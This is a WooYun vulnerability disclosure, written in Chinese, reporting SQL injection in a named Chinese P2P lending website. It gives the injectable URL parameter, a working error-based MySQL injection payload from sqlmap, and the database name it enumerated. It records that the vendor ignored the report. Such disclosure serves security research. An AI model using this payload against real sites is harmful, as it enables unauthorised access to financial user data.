当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153829

漏洞标题:p2p金融小鹅e贷存在sql注入漏洞

相关厂商:广东小额易贷科技有限公司

漏洞作者: Nelion

提交时间:2015-11-23 15:14

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-01-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

p2p金融小鹅e贷(https://www.xiaoeyidai.com/)存在sql注入漏洞。

详细说明:

小额易贷(Easy Loaning)是一个广东小额易贷科技有限公司旗下的品牌,为粤东地区第一家互联网金融服务品牌,从事于为有资金需求的借款人和有理财需求的投资者搭建一个轻松、便捷、安全、透明的网络互动品牌。(百度百科)
1、注入点(keywords (GET)):

https://www.xiaoeyidai.com/invest/index.html?keywords=&borrow_area_city=&order=&hasinvest=&borrow_use=&borrow_type=pawn%7Ccredit%7Cworth%7Cday%7Cvouch%7Csecond%7Croam%7Cjdb&account_status=&borrow_interestrate=&spread_month=


Parameter: keywords (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: keywords=' AND (SELECT 8161 FROM(SELECT COUNT(*),CONCAT(0x71716a7a7
1,(SELECT (ELT(8161=8161,1))),0x7162627671,FLOOR(RAND(0)*2))x FROM INFORMATION_S
CHEMA.CHARACTER_SETS GROUP BY x)a) AND 'rQWG'='rQWG&borrow_area_city=&order=&has
invest=&borrow_use=&borrow_type=pawn|credit|worth|day|vouch|second|roam|jdb&acco
unt_status=&borrow_interestrate=&spread_month=
---
[13:37:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.0

漏洞证明:

2、数据库:
available databases [1]:
[*] xiaoeyidai

修复方案:

参数过滤

版权声明:转载请注明来源 Nelion@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:8 (WooYun评价)